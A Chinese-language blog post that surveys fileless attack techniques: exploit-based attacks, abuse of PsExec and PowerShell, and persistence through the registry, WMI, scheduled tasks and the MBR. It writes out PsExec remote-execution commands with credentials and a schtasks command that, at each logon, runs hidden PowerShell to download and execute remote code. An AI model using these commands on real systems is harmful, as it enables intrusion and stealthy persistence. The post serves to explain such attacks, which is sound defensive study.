无文件攻击简介
一、无文件攻击介绍
" 无文件攻击 " 不代表真的没有文件,只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避安全检测。所说的无文件,也未必是攻击全程无文件,而是其中的一部分采用了无文件攻击 。
因为无文件攻击无需落地到目标的磁盘,因此反病毒引擎一般很难检测到,即使通过检测内存来试图追踪内存中的“无文件攻击”,但往往只能采用白名单等笨方法,但攻击者利用内存滞留技术往往能把杀毒软件耍得团团转。
但是“无文件攻击”这一术语往往会让人产生歧义,比如无文件攻击就代表真的没有攻击文件吗?其实“无文件攻击”只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避安全检测。
二、无文件攻击方式分类
1、按攻击方式分
无文件攻击方式分为三大类:漏洞型攻击、灰色工具型攻击、潜伏型攻击
1.1、漏洞型攻击
漏洞型攻击是杀伤力最大的无文件攻击方式,典型的漏洞有Office漏洞、SMB漏洞、以及各种WEB服务的漏洞,当目标主机存在漏洞时,病毒可以通过漏洞直接执行恶意命令攻击主机或将自己复制到主机实现扩散。漏洞型攻击行为隐蔽,且一般不会释放文件到本地,所以使用杀软几乎无法防御。
1.1.1、Office漏洞
利用Office系列软件的漏洞进行网络攻击成为黑客惯用的手段,广泛运用于APT攻击,抓肉鸡,传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”:黑客将包含漏洞的文档伪装成为一个正常的Office文档,并精心构造文件名,然后投递到用户邮箱,如果用户不小心打开文档,恶意代码便会悄悄执行,用户完全没有感知。
1.1.2、SMB漏洞(永恒之蓝漏洞)
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
1.2、灰色工具型攻击
灰色工具是指那些可以被用来执行恶意代码的合法工具,如:Powershell、PsExec等,病毒可以使用这些工具来间接执行恶意代码。由于IT管理员日常工作中都会使用这些合法工具来辅助管理系统、网络,所以杀软对这类攻击的检测也极具挑战性。
1.2.1、PsExec
psexec是sysinternals的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。通常,这个命令,常用的有如下2种方式。
1.以系统身份运行指定应用程序
这个很简单,但是很有意思,Windows系统中administrator的权限不是最大的,最大的是system,很多信息只有system才能查看,比如注册表的sam信息,administrator是看不了的,如果你非要强行修改sam的权限而不顾安全的话,拿就是另外一种情况。那么现在我们要以system的身份启动regedit.exe,命令如下:
psexec -s -i regedit.exe
-s就是以system身份,-i就是交互式,意思是让你看到注册表编辑器的这个窗口,不然他就在后台运行了。
2.创建/执行远程命令代码。
执行远程进程的前提条件是对方机器必须开启ipc,以及admin
,否则无法执行。下面我们来看详细命令:
ð 开启ipc$
net share ipc$
ð 开启admin$
net share admin$
ð 在对方电脑上运行程序
C:>psexec \192.168.100.2 -u administrator -p 123456 -d -s calc
运行calc后返回,对方计算机上会有一个calc进程,是以系统身份运行的,因为calc前面是-s(system的意思)。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数-i。
C:>psexec \192.168.100.2 -u administrator -p 123456 -d calc
承上,就以当前身份运行calc,然后返回
C:>psexec \192.168.100.2 -u administrator -p 123456 -i -d cmd /c start http:// www.baidu.com
为对方以当前用户身份打开百度网页,并让他看到这个网页
ð 在对方电脑上运行cmd命令,且不让对方看到这个窗口
C:>psexec \192.168.100.2 -u administrator -p 123456 -s cmd
这个命令执行成功之后,命令提示符窗口在我这边,可以直接在我这边输入命令,而命令在对端执行,相当于远端应用程序虚拟化到本地
1.2.2、powershell
PowerShell 是一个内置在每个受支持的Windows版本中 (Windows 7 / Windows 2008 R2 和更高版本)的命令行程序,它能够提供令人难以置信的灵活性和功能化管理 Windows 系统的能力。这种能力使得 PowerShell 正在吸引攻击者使它逐渐成为一个非常流行且得力的攻击工具。一旦攻击者可以在一台计算机上运行代码,他们就会执行 PowerShell 代码,因为PS代码可以运行在防病毒软件不能看到的地方如内存中。
1.3、潜伏性攻击
为了让病毒母体被删除后以及每次开机后还能继续执行恶意代码,持久化潜伏成为一种常见的无文件攻击方式。通过将恶意代码存储在注册表、WMI、系统进程(进程注入)、MBR、定时任务等地方,可以让恶意代码隐蔽地自动执行。
1.3.1、进程注入
进程注入技术很久以前就被病毒所利用了,病毒运行后一般会将恶意代码注入到系统进程中,然后将自身删除,达到隐藏的效果
1.3.2、注册表
注册表中包含许多敏感表项,如HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun,只要将病毒的路径或恶意的脚本存储到这里,系统每次开机都会执行这些病毒和恶意脚本,Poweliks就是使用注册表来进行持久化攻击的代表。
1.3.3、WMI
WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器。管理员可以使用各种工具(比如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口来访问WMI。这样一个强大的工具自然会被黑客所盯上,著名的无文件攻击病毒POSHSPY就使用WMI来存储及定时执行恶意代码。以下是此病毒使用的一个触发器,意思是每周一、周二、周四、周五以及周六的当地时间上午11:33执行一次恶意脚本。
1.3.4、定时任务
定时任务是一个实用的工具,比如我们想实现每隔一段时间进行下文件备份、日志记录等等,就可以使用到定时任务,然而,若病毒执行了以下命令,那么就会带来恶意的操作,这段代码是只要用户一登录就调用powershell执行网上的恶意代码: schtasks/create /tn Trojan /tr “powershell.exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c ‘IEX ((new-objectnet.webclient).downloadstring(‘’[REMOVED]’’))’” /scONLOGON /ru System 定时任务还常被病毒用来绕过UAC。
1.3.5、MBR
MBR是系统引导程序,对系统的启动很关键,试想,若病毒隐藏恶意代码于在MBR中,就可以实现先于系统加载,绕过杀软的效果。
2、按磁盘文件的活动分类
按磁盘文件的活动将攻击分成了3个类型
2.1、没有任何的文件活动
简单说就是攻击活动没有任何的磁盘文件落地和磁盘文件的操作行为,一般这种攻击的实施都脱离了操作系统,是由更上层的硬件固件和软件层发起的。
2.2、没有磁盘落地文件
没有磁盘落地文件,但通过文件间接活动,恶意代码一般通过白文件间接加载到内存中执行。这类攻击恶意代码的载体大多数都是脚本,通过程序命令执行,也有通过磁盘引导记录等特定机制的执行。
2.3、需要操作文件进行活动
比较容易能理解的意思是恶意代码变成了数据,利用文件相关的程序漏洞或功能特性将恶意数据转换为恶意代码执行。
3、基于被攻击宿主进行的分类
1、漏洞攻击,基于软件和操作系统安全漏洞的无文件攻击
- 基于文件(Type3)
各种各样的office、flash、java漏洞文件和浏览器漏洞,一般都是通过恶意文件触发漏洞使文件解析引擎、浏览器等执行恶意代码,通过shellcode直接在内存中执行恶意代码。 - 基于网络(Type1)
永恒之蓝是个好例子,直接通过网络协议的远程代码执行漏洞来执行恶意代码。
2、硬件攻击,脱离操作系统的无文件攻击
- 基于设备(Type1)
通过网卡、磁盘固件执行恶意代码,经典的如方程式的KillSuit,基于硬盘固件、磁盘引导区执行恶意代码。 - 基于CPU(Type1)
CPU自己本身也会有子系统,比如被白金改造的Intel cpu的主动管理技术(AMT)后门。 - 基于外置USB(Type1)
USB可以外接的设备类型很多,比如最常见的模拟键盘和网关的badusb设备。 - 基于BIOS(Type1)
主板BIOS能植入恶意代码大伙也是耳熟能详了,象今年eset发现的LoJax Rootkit,通过改造 BIOS固件中的防盗功能植入的后门。 - 基于虚拟机管理层(Type1)
这是属于上帝视角的攻击了,虚拟机管理层执行恶意代码,已经脱离虚拟机操作系统之外了。
3、执行和注入,无文件攻击执行恶意代码的常见形式
- 基于文件(Type3)
从执行代码的角度看,这是无文件攻击最基础的执行向量,可以是可执行文件、dll、lnk快捷方式、计划任务等,它的攻击过程通常是将恶意代码远程注入到其他进程或加载到自身进程内存执行。 - 基于宏(Type3)
office文档相关的宏脚本,这是基于office文档类自身的脚本语言,在office进程中执行恶意代码。 - 基于脚本(Type2)
基于js、vbs、powershell脚本执行恶意代码, 这个就不再赘述了,大量的系统程序都有各种奇技淫巧能执行恶意脚本。 - 基于磁盘(Type2)
通过磁盘的引导记录执行恶意代码,恶意的mbr、vbr都在这一类里面。
参考链接:https://www.freebuf.com/column/203131.html
https://blog.csdn.net/weixin_41679427/article/details/104920331
http://t.zoukankan.com/bonelee-p-14915629.html
//www.freebuf.com/column/203131.html
https://blog.csdn.net/weixin_41679427/article/details/104920331
http://t.zoukankan.com/bonelee-p-14915629.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通